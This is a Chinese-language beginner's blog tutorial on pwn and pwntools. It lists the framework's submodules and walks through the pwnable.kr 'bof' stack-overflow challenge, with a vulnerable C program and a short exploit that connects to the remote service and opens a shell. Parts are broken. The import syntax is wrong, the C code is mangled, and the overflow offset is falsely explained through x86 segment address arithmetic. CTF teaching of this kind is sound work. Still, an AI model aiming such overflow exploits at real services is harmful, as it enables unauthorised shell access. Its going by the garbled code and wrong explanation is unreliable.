pwn启程

Pwn:新的启程

欢迎来到pwn的世界,在这里,你学习到的是与web渗透截然不同的东西:汇编语言,c,IDA Pro,gdb,zio,还有部分逆向基础,pwn的核心就是软件安全,通过寻找在服务器的某个端口上运行的服务的漏洞,进行getshell,或者是在服务器上寻找带有漏洞的程序进行提权__,让我们一起踏上新的征程!
Pwntools
pwntools是Python里的一个二进制利用框架,对Ubuntu的支持最好,在Debian,Arch,FreeBSD,OSX等上也可以运行大量功能,安装前确保安装了Binutils、Capstone、Python Development Headers等系统库,安装方法十分简单:pip install pwntools
pwntools分为两个模块,一个是pwn,简单的使用import * from pwn就可以导入所有子模块和一些常用的系统库到当前的命名空间中,可以说基本就是为CTF比赛而诞生的,而另一个模块是pwnlib,可以仅仅导入自己需要的子模块,常常用于基于pwntools的开发。
子模块
adb:安卓调试桥
args:命令行魔法参数
asm:汇编和反汇编,支持 i386/i686/amd64/thumb 等
constants:对不同架构和操作系统的常量的快速访问
config:配置文件
context:设置运行时变量
dynelf:用于远程函数泄露
encoders:对 shellcode 进行编码
elf:用于操作 ELF 可执行文件和库
flag:提交 flag 到服务器
fmtstr:格式化字符串利用工具
gdb:与 gdb 配合使用
libcdb:libc 数据库
log:日志记录
memleak:用于内存泄露
rop:ROP 利用模块,包括 rop 和 sroprunner:运行 shellcode
shellcraft:shellcode 生成器
term:终端处理
timeout:超时处理
tubes:能与 sockets, processes, ssh 等进行连接
ui:与用户交互
useragents:useragent 字符串数据库
util:一些实用小工具
本文主要介绍的是pwntools在比赛中的使用,废话不多说直接上一个实例。
Pwntools的“hello world”
栈溢出属于最基础的溢出方式,使用pwntools实现就等同于掌握了pwntools的“hello world”,接下来是一个有漏洞的程序,也是我们这次攻击的目标

_#include #include #include void func(int key)
{
char overflowme[32];
printf(“overflow me : “);
gets(overflowme);
if(key == 0xcafebabe){
system(”/bin/sh”);
}
else{
printf(“Wrong!\n”);
}
}
int main(int argc, char argv[])

{

func(0xdeadbeef);

return 0;

}
_
让我们来分析一下这个程序,首先他写了一个func函数,里面有一个int类型的参数key,在这个函数内部首先定义了一个一维字符数组overflowme,接下来输出“overflow me:”,然后这里调用了gets函数来读取输入接下来判断key是否等于0xcafebabe,如果等于就返回一个shell,如果不等于就输出Wrong!接下来观察主函数,主函数内简单粗暴,就是func(0xdeadbeef);然后直接return 0;(这里可能有些小伙伴看不懂0xdeadbeef和0xcafebabe,这里解释一下,这是十六进制数字)
大家注意,这个程序调用了gets函数,这就是这个程序的切入点,gets函数是一个很危险的函数,这个函数可以读取一个字符串直到出现回车(即换行符)结束,没有上限的读取,这就造成了一个漏洞,我们可以输入很多数据,一般情况下程序会直接崩溃,但是如果我们刻意的去控制自己的输入,就可以覆盖掉主函数内func的传参,达到key=0xcafebabe的效果,这样我们就可以得到shell,pwn掉这个程序

开始构造exp

from pwn import
c = remote(“pwnable.kr”, 9000)
c.sendline(“AAAA” _ 13 + p32(0xcafebabe))
c.interactive()

这里有一个remote函数,使用方法是remote(“一个IP地址或者域名,端口”),这个函数可以使我们连接到指定的地址和端口,然后会返回一个remote对象,将其存在变量c里,可以对远程主机进行输入输出,他有如下几个方法:
send(payload)发送payload;
sendline(payload) 发送payload,并进行换行(末尾\n);
sendafter(somestring, payload)接收到 somestring 后,发送你的 payload;
recvn(N) 接受 N(数字) 字符;
recvline() 接收一行输出;
recvlines(N)接收 N(数字) 行输出;
recvuntil(somestring)接收到 somestring 为止;
现在这里我们就是使用sendline方法发送了我们的exp(或者叫payload),“AAAA”13就是这里的相对偏移量,最后0xcafebabe成功覆盖了0xdeadbeef,成功getshell。
(关于相对偏移量,这是x86处理器的一个特点,x86处理器里只能处理16位的地址,而地址总线【即发送地址的通道】只能发送20位的地址,所以有一个特殊的部件叫做地址加法器,这个部件会把原来的16位地址*16加上一个偏移量得到一个对应的20位地址,相对偏移量可以使用gdb调试进行计算,关于gdb的使用,会有下一篇文章介绍)

注:c.interactive()是为了使我们能够和目标进行命令交互,本例来源于pwnable.kr的bof题目

                                                                                 Pwn!

至此,pwntools的hello world就此结束,大家有什么疑问都可以提问

此篇文章为作者的第一篇文章,希望大家多多支持

本文链接:http://my-index.cn/?id=14

版权声明:转载请注明转自“my-index.cn”

你可能感兴趣的:(笔记)